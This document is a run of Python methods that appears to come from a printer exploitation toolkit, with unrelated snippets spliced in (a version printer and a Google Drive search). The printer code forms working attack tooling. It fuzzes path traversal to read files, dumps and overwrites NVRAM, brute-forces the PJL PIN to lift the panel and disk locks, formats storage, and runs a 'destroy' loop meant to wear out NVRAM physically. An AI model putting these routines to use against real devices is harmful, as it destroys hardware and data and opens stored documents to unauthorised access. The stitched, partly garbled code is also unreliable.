def ipp(self, host, lang): try: # poor man's way to get printer info via IPP sys.stdout.write("Checking for IPP support: ") body = ( "\x01\x01\x00\x0b\x00\x01\xab\x10\x01G\x00\x12attributes-charset\x00\x05utf-8H" + "\x00\x1battributes-natural-language\x00\x02enE\x00\x0bprinter-uri\x00\x14ipp:" + "//localhost/ipp/D\x00\x14requested-attributes\x00\x13printer-description\x03" ).encode() request = urllib.request.Request( "http://" + host + ":631/", data=body, headers={'Content-type': 'application/ipp'}) response = urllib.request.urlopen( request, timeout=self.timeout).read().decode() # get name of device model = item(re.findall("MDL:(.+?);", response)) # e.g. MDL:hp LaserJet 4250 # get language support langs = item(re.findall("CMD:(.+?);", response)) # e.g. CMD:PCL,PJL,POSTSCRIPT self.support = [ _f for _f in [re.findall(re.escape(pdl), langs, re.I) for pdl in lang] if _f ] self.set_support(model) output().green("found") except Exception as e: output().errmsg("not found", e)
def do_print(self, arg): 'Print image file or raw text: print <file>|"text"' ''' ┌──────────────────────────────────────────────────────────┐ │ Poor man's driverless PCL based printing (experimental) │ ├──────────────────────────────────────────────────────────┤ │ Warning: ImageMagick and Ghostscript are used to convert │ │ the document to be printed into a language understood be │ │ the printer. Don't print anything from untrusted sources │ │ as it may be a security risk (CVE-2016–3714, 2016-7976). │ └──────────────────────────────────────────────────────────┘ ''' if not arg: arg = raw_input('File or "text": ') if arg.startswith('"'): data = arg.strip('"') # raw text string elif arg.endswith('.ps'): data = file().read(arg) # postscript file else: # anything else… try: self.chitchat("Converting '" + arg + "' to PCL") pdf = ['-density', '300'] if arg.endswith('.pdf') else [] cmd = ['convert' ] + pdf + [arg, '-quality', '100', 'pcl' + ':-'] out, err = subprocess.PIPE, subprocess.PIPE p = subprocess.Popen(cmd, stdout=out, stderr=err) data, stderr = p.communicate() except: stderr = "ImageMagick or Ghostscript missing" if stderr: output().errmsg("Cannot convert", item(stderr.splitlines())) if data: self.send(c.UEL + data + c.UEL) # send pcl datastream to printer
def do_open(self, arg, mode=""): "Connect to remote device: open <target>" if not arg: arg = raw_input("Target: ") # open connection try: newtarget = (arg != self.target) self.target = arg # set new target self.conn = conn(self.mode, self.debug, self.quiet) self.conn.timeout(self.timeout) self.conn.open(arg) print("Connection to " + arg + " established") # hook method executed after successful connection self.on_connect(mode) # show some information about the device if not self.quiet and mode != 'reconnect': sys.stdout.write("Device: ") self.do_id() print("") # set printer default values self.set_defaults(newtarget) except Exception as e: output().errmsg("Connection to " + arg + " failed", str(e)) self.do_close() # exit if run from init function (command line) if mode == 'init': self.do_exit()
def mirror(self, name, size): target, vol = self.basename(self.target), self.get_vol() root = os.path.abspath(os.path.join('mirror', target, vol)) lpath = os.path.join(root, name) ''' ┌───────────────────────────────────────────────────────────┐ │ mitigating path traversal │ ├───────────────────────────────────────────────────────────┤ │ creating a mirror can be a potential security risk if the │ │ path contains traversal characters, environment variables │ │ or other things we have not thought about; while the user │ │ is in total control of the path (via 'cd' and 'traversal' │ │ commands), she might accidentally overwrite her files... │ │ │ │ our strategy is to first replace trivial path traversal │ │ strings (while still beeing able to download the files) │ │ and simply give up on more sophisticated ones for now. │ └───────────────────────────────────────────────────────────┘ ''' # replace path traversal (poor man's version) lpath = re.sub(r'(\.)+' + c.SEP, '', lpath) # abort if we are still out of the mirror root if not os.path.realpath(lpath).startswith(root): output().errmsg("Not saving data out of allowed path", "I'm sorry Dave, I'm afraid I can't do that.") elif size: # download current file output().raw(self.vol + name + " -> " + lpath) self.makedirs(os.path.dirname(lpath)) self.do_get(self.vol + name, lpath, False) else: # create current directory self.chitchat("Traversing " + name) self.makedirs(lpath)
def do_disable(self, arg): jobmedia = self.cmd('@PJL DINQUIRE JOBMEDIA') or '?' if '?' in jobmedia: return output().info("Not available") elif 'ON' in jobmedia: self.do_set('JOBMEDIA=OFF', False) elif 'OFF' in jobmedia: self.do_set('JOBMEDIA=ON', False) jobmedia = self.cmd('@PJL DINQUIRE JOBMEDIA') or '?' output().info("Printing is now " + jobmedia)
def fuzz_blind(self): output().raw("Blindly trying to read files.") # get a bottle of beer, fuzzing will take some time output().fuzzed('PATH', '', ('', 'GET', 'EXISTS')) output().hline() # try blind file access strategies (relative path) for path in fuzzer().rel: self.verify_blind(path, "") output().hline() # try blind file access strategies (absolute path) for vol in self.vol_exists() + fuzzer().blind: sep = '' if vol[-1:] in ['', '/', '\\'] else '/' sep2 = vol[-1:] if vol[-1:] in ['/', '\\'] else '/' # filenames to look for for file in fuzzer().abs: # set current delimiter if isinstance(file, list): file = sep2.join(file) path = vol + sep self.verify_blind(path, file) # vol name out of range error if self.error == '30054': output().raw("Volume nonexistent, skipping.") break # no directory traversal for dir in fuzzer().dir: # n'th level traversal for n in range(1, 3): path = vol + sep + n * (dir + sep2) self.verify_blind(path, file)
def do_ls(self, arg): "List contents of virtual file system: ls" pclfs = self.dirlist() if not pclfs: # no files have yet been uploaded output().raw("This is a virtual pclfs. Use 'put' to upload files.") # list files with syntax highlighting for name, (id, size, date) in sorted(pclfs.items()): output().pcldir(size, conv().lsdate(int(date)), id, name)
def do_hold(self, arg): "Enable job retention." self.chitchat("Setting job retention, reconnecting to see if still enabled") self.do_set('HOLD=ON', False) self.do_reconnect() output().raw("Retention for future print jobs: ", '') hold = self.do_info('variables', '^HOLD', False) output().info(item(re.findall("=(.*)\s+\[", item(item(hold)))) or 'NOT AVAILABLE')
def verify_blind(self, path, name): # 1st method: GET opt1 = self.get(path + name, 10)[1] # file size is unknown :/ opt1 = (True if opt1 and not "FILEERROR" in opt1 else False) # 2nd method: EXISTS opt2 = (self.file_exists(path + name) != c.NONEXISTENT) # show fuzzing results output().fuzzed(path + name, "", ('', opt1, opt2))
def rpath(self, path=""): # warn if path contains volume information if (path.startswith("%") or path.startswith('0:')) and not self.fuzz: output().warning("Do not refer to disks directly, use chvol.") # in fuzzing mode leave remote path as it is if self.fuzz: return path # prepend volume information to virtual path return self.vol + self.vpath(path)
def do_offline(self, arg): "Take printer offline and display message: offline <message>" if not arg: arg = eval(input("Offline display message: ")) arg = arg.strip('"') # remove quotes output().warning("Warning: Taking the printer offline will prevent yourself and others") output().warning("from printing or re-connecting to the device. Press CTRL+C to abort.") if output().countdown("Taking printer offline in...", 10, self): self.cmd('@PJL OPMSG DISPLAY="' + arg + '"', False)
def get_models(self, file): try: with open(self.rundir + "db" + os.path.sep + file, 'r') as f: models = filter(None, (line.strip() for line in f)) f.close() return models except IOError as e: output().errmsg("Cannot open file", str(e)) return []
def do_ls(self, arg): "List contents of remote directory: ls <path>" list = self.dirlist(arg, False, True) # remove '.' and '..' from non-empty directories if set(list).difference(('.', '..')): for key in set(list).intersection(('.', '..')): del list[key] # list files with syntax highlighting for name, size in sorted(list.items()): output().pjldir(name, size)
def reconnect(self, msg): # on incomplete command show error message if msg: output().errmsg("Command execution failed", msg) sys.stdout.write(os.linesep + "Forcing reconnect. ") # workaround to flush socket buffers self.do_close() self.do_open(self.target, 'reconnect') # on CTRL+C spawn a new shell if not msg: self.cmdloop(intro="")
def do_cat(self, arg): "Output remote file to stdout: cat <file>" if not arg: arg = raw_input("Remote file: ") path = self.rpath(arg) str_recv = self.get(path) if str_recv != c.NONEXISTENT: rsize, data = str_recv output().raw(data.strip())
def get_models(self, file): try: with open(self.rundir + "db" + os.path.sep + file, 'r') as f: models = [_f for _f in (line.strip() for line in f) if _f] f.close() return models except IOError as e: output().errmsg("Cannot open file", e) return []
def do_nvram(self, arg): # dump nvram if arg.startswith('dump'): bs = 2**9 # memory block size used for sampling max = 2**18 # maximum memory address for sampling steps = 2**9 # number of bytes to dump at once (feedback-performance trade-off) lpath = os.path.join('nvram', self.basename(self.target)) # local copy of nvram #- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # ******* sampling: populate memspace with valid addresses ****** if len(re.split("\s+", arg, 1)) > 1: memspace = [] commands = ['@PJL RNVRAM ADDRESS=' + str(n) for n in range(0, max, bs)] self.chitchat("Sampling memory space (bs=" + str(bs) + ", max=" + str(max) + ")") for chunk in (list(chunks(commands, steps))): str_recv = self.cmd(c.EOL.join(chunk)) # break on unsupported printers if not str_recv: return # collect valid memory addresses blocks = re.findall('ADDRESS\s*=\s*(\d+)', str_recv) for addr in blocks: memspace += list(range(conv().int(addr), conv().int(addr) + bs)) self.chitchat(str(len(blocks)) + " blocks found. ", '') else: # use fixed memspace (quick & dirty but might cover interesting stuff) memspace = list(range(0, 8192)) + list(range(32768, 33792)) + list(range(53248, 59648)) #- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # ******* dumping: read nvram and write copy to local file ****** commands = ['@PJL RNVRAM ADDRESS=' + str(n) for n in memspace] self.chitchat("Writing copy to " + lpath) if os.path.isfile(lpath): file().write(lpath, '') # empty file for chunk in (list(chunks(commands, steps))): str_recv = self.cmd(c.EOL.join(chunk)) if not str_recv: return # break on unsupported printers else: self.makedirs('nvram') # create nvram directory data = ''.join([conv().chr(n) for n in re.findall('DATA\s*=\s*(\d+)', str_recv)]) file().append(lpath, data) # write copy of nvram to disk output().dump(data) # print asciified output to screen print() #- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # read nvram (single byte) elif arg.startswith('read'): arg = re.split("\s+", arg, 1) if len(arg) > 1: arg, addr = arg output().info(self.cmd('@PJL RNVRAM ADDRESS=' + addr)) else: self.help_nvram() #- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # write nvram (single byte) elif arg.startswith('write'): arg = re.split("\s+", arg, 2) if len(arg) > 2: arg, addr, data = arg self.cmd('@PJL SUPERUSER PASSWORD=0' + c.EOL + '@PJL WNVRAM ADDRESS=' + addr + ' DATA=' + data + c.EOL + '@PJL SUPERUSEROFF', False) else: self.help_nvram() else: self.help_nvram()
def do_cd(self, arg): "Change remote working directory: cd <path>" if not self.cpath(arg) or self.dir_exists(self.rpath(arg)): if re.match("^[\." + c.SEP + "]+$", self.cpath(arg)): output().raw("*** Congratulations, path traversal found ***") output().chitchat( "Consider setting 'traversal' instead of 'cd'.") self.set_cwd(arg) else: print("Failed to change directory.")
def do_timeout(self, arg, quiet=False): "Set connection timeout: timeout <seconds>" try: if arg: if self.conn: self.conn.timeout(float(arg)) self.timeout = float(arg) if not quiet: print("Device or socket timeout: " + str(self.timeout)) except Exception as e: output().errmsg("Cannot set timeout", str(e))
def verify_write(self, path, name, data, cmd): # 1st method: GET opt1 = (data in self.get(path + name, len(data))[1]) # 2nd method: EXISTS opt2 = (self.file_exists(path + name) != c.NONEXISTENT) # 3rd method: DIRLIST opt3 = (name in self.dirlist(path, False)) # show fuzzing results output().fuzzed(path + name, cmd, (opt1, opt2, opt3)) return opt1
def do_destroy(self, arg): "Cause physical damage to printer's NVRAM." output().warning("Warning: This command tries to cause physical damage to the") output().warning("printer NVRAM. Use at your own risk. Press CTRL+C to abort.") if output().countdown("Starting NVRAM write cycle loop in...", 10, self): self.chitchat("Dave, stop. Stop, will you? Stop, Dave. Will you stop, Dave?") date = conv().now() # timestamp the experiment started steps = 100 # number of pjl commands to send at once chunk = ['@PJL DEFAULT COPIES=' + str(n%(steps-2)) for n in range(2, steps)] for count in range(0, 10000000): # test if we can still write to nvram if count%10 == 0: self.do_set("COPIES=42" + arg, False) copies = self.cmd('@PJL DINQUIRE COPIES') or '?' if not copies or '?' in copies: output().chitchat("I'm sorry Dave, I'm afraid I can't do that.") if count > 0: output().chitchat("Device crashed?") return elif not '42' in copies: self.chitchat("\rI'm afraid. I'm afraid, Dave. Dave, my mind is going...") dead = conv().elapsed(conv().now() - date) print(("NVRAM died after " + str(count*steps) + " cycles, " + dead)) return # force writing to nvram using by setting a variable many times self.chitchat("\rNVRAM write cycles: " + str(count*steps), '') self.cmd(c.EOL.join(chunk) + c.EOL + '@PJL INFO ID') print() # echo newline if we get this far
def do_loop(self, arg): "Run command for multiple arguments: loop <cmd> <arg1> <arg2> …" args = re.split("\s+", arg) if len(args) > 1: cmd = args.pop(0) for arg in args: output().chitchat("Executing command: '" + cmd + " " + arg + "'") self.onecmd(cmd + " " + arg) else: self.onecmd("help loop")
def do_printenv(self, arg): "Show printer environment variable: printenv <VAR>" str_recv = self.cmd('@PJL INFO VARIABLES') variables = [] for item in str_recv.splitlines(): var = re.findall("^(.*)=", item) if var: variables += var self.options_printenv = variables match = re.findall("^(" + re.escape(arg) + ".*)\s+\[", item, re.I) if match: output().info(match[0])
def do_format(self, arg): "Initialize printer's mass storage file system." output().warning( "Warning: Initializing the printer's file system will whipe-out all" ) output().warning( "user data (e.g. stored jobs) on the volume. Press CTRL+C to abort." ) if output().countdown("Initializing volume " + self.vol[:2] + " in...", 10, self): self.cmd('@PJL FSINIT VOLUME="' + self.vol[0] + '"', False)
def do_info(self, arg): if arg in self.entities: entity, desc = self.entities[arg] for location in self.locations: output().raw(desc + " " + self.locations[location]) str_send = '*s' + location + 'T' # set location type str_send += c.ESC + '*s0U' # set location unit str_send += c.ESC + '*s' + entity + 'I' # set inquire entity output().info(self.cmd(str_send)) else: self.help_info()
def main(**kwargs): """ Display version information for this package :param **kwargs - Not used """ logger = logging.getLogger(log.ROOT_LOGGER_NAME) logger.debug('Executing %s' % ACTION) helper.output(u"%s version %s" % (pkginfo.package, pkginfo.version)) return exitcodes.EX_OK
def do_unlock(self, arg): "Unlock control panel settings and disk write access." # first check if locking is supported by device str_recv = self.cmd('@PJL DINQUIRE PASSWORD') if not str_recv or '?' in str_recv: return output().errmsg("Cannot unlock", "locking not supported by device") # user-supplied pin vs. 'exhaustive' key search if not arg: print("No PIN given, cracking.") keyspace = [""] + range(1, 65536) # protection can be bypassed with else: # empty password one some devices try: keyspace = [int(arg)] except Exception as e: output().errmsg("Invalid PIN", str(e)) return # for optimal performance set steps to 500-1000 and increase timeout steps = 500 # set to 1 to get actual PIN (instead of just unlocking) # unlock, bypass or crack PIN for chunk in (list(chunks(keyspace, steps))): str_send = "" for pin in chunk: # try to remove PIN protection str_send += '@PJL JOB PASSWORD='******'@PJL DEFAULT PASSWORD=0' + c.EOL # check if PIN protection still active str_send += '@PJL DINQUIRE PASSWORD' # visual feedback on cracking process if len(keyspace) > 1 and pin: self.chitchat( "\rTrying PIN " + str(pin) + " (" + "%.2f" % (pin / 655.35) + "%)", '') # send current chunk of PJL commands str_recv = self.cmd(str_send) # seen hardcoded strings like 'ENABLED', 'ENABLE' and 'ENALBED' (sic!) in the wild if str_recv.startswith("ENA"): if len(keyspace) == 1: output().errmsg("Cannot unlock", "Bad PIN") else: # disable control panel lock and disk lock self.cmd( '@PJL DEFAULT CPLOCK=OFF' + c.EOL + '@PJL DEFAULT DISKLOCK=OFF', False) if len(keyspace) > 1 and pin: self.chitchat("\r") # exit cracking loop break self.show_lock()
def http(self, host): try: # poor man's way get http title sys.stdout.write("Checking for HTTP support: ") html = urllib2.urlopen("http://" + host, timeout=self.timeout).read() # cause we are to parsimonious to import BeautifulSoup ;) title = re.findall("<title.*?>\n?(.+?)\n?</title>", html, re.I|re.M|re.S) # get name of device model = item(title) # get language support self.set_support(model) output().green("found") except Exception as e: output().errmsg("not found", str(e))
def fswalk(self, arg, mode, recursive=False): # add traversal and cwd in first run if not recursive: arg = self.vpath(arg) # add volume information to pathname path = self.vol + self.normpath(arg) list = self.dirlist(path, True, False, False, False) # for files in current directory for name, size in sorted(list.items()): name = self.normpath(arg) + self.get_sep(arg) + name name = name.lstrip(c.SEP) # crop leading slashes # execute function for current file if mode == 'find': output().raw(c.SEP + name) if mode == 'mirror': self.mirror(name, size) # recursion on directory if not size: self.fswalk(name, mode, True)
def do_info(self, arg, item='', echo=True): if arg in self.options_info or not echo: str_recv = self.cmd('@PJL INFO ' + arg.upper()).rstrip() if item: match = re.findall("(" + item + "=.*(\n\t.*)*)", str_recv, re.I|re.M) if echo: for m in match: output().info(m[0]) if not match: print("Not available.") return match else: for line in str_recv.splitlines(): if arg == 'id': line = line.strip('"') if arg == 'filesys': line = line.lstrip() output().info(line) else: self.help_info()
def verify_path(self, path, found={}): # 1st method: EXISTS opt1 = (self.dir_exists(path) or False) # 2nd method: DIRLIST dir2 = self.dirlist(path, False) opt2 = (True if dir2 else False) # show fuzzing results output().fuzzed(path, "", ('', opt1, opt2)) if opt2: # DIRLIST successful # add path if not already listed if dir2 not in found.values(): found[path] = dir2 output().raw("Listing directory.") self.do_ls(path) elif opt1: # only EXISTS successful found[path] = None
def _search(self, q, token, fields, maxResults): """This is where the actual search is happening""" if token: # print "Fetching next", maxResults, "items with token", str(token[0:15]) + "..." msg = "Fetching next " + str(maxResults) + " items with token " + str(token) output(msg) url = 'https://www.googleapis.com/drive/v2/files' params = { "pageToken": token, "q": q, "maxResults": maxResults, "fields": fields } r = requests.get(url, headers=self.user.headers(), params=params) data = r.json() return data